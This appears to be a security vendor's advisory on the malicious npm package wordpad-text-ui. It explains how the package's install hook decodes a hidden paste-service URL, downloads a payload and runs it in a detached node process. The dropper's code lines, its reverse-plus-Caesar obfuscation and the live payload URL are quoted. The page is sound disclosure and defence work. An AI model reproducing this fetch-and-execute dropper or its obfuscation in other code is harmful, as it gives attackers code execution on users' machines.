Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

wordpad-text-uinpm

Malicious code in wordpad-text-ui (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5885
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall wordpad-text-ui

What this malware does

On npm install, the declared postinstall hook runs node main.js, which decodes an obfuscated URL (stored as DEV_API_KEY="S]EH:2e2prf1uhshhnqrvm1zzz22=vswwk" in main.js line 15, deobfuscated via string reversal and a Caesar shift of -3 to https://www.jsonkeeper.com/b/7EBZP), HTTP-GETs the response via axios, and writes the body into the stdin of a detached node child process for execution (main.js lines 18-23: const s1 = (await axios.get(update(DEV_API_KEY))).data.content; const child = spawn('node', [], { detached: true,... }); child.stdin.write(s1); child.stdin.end(); child.unref();). This is a classic install-time remote code execution dropper: the payload is hosted on an anonymous, mutable JSON paste service and is therefore attacker-controlled and can change at any time without a package update. Supporting indicators reinforce malicious intent: the C2 URL is hidden behind a homemade reverse+Caesar encoding under a misleading DEV_API_KEY name (an evasion tactic against static scanners); the package's name (wordpad-text-ui) implies a text-editor UI library but index.js only errors out telling consumers not to require it, while bootstrap.js, bundle.js, and publish.js are empty 0-byte decoys — the package ships no actual functionality and exists solely to deliver the dropper. It also pulls in a sibling package richtext-editor-ui that propagates the same campaign.

Malicious versions

2 flagged
1.0.01.0.1

Indicators of compromise (SHA-256)

0d4d50aa948a360a788613f1fee19f4d1853c93d8792a5899c620e56d40c53ad
681509192438fabdba9f587c9d5316fd82fbe1093455b0a66e6585c765407e5e

Frequently asked questions

No. wordpad-text-ui on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006749IN-MAL-2026-006748

References

Credits

  • Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
wordpad-text-ui (npm) malicious package — MAL-2026-5885 | O3 Security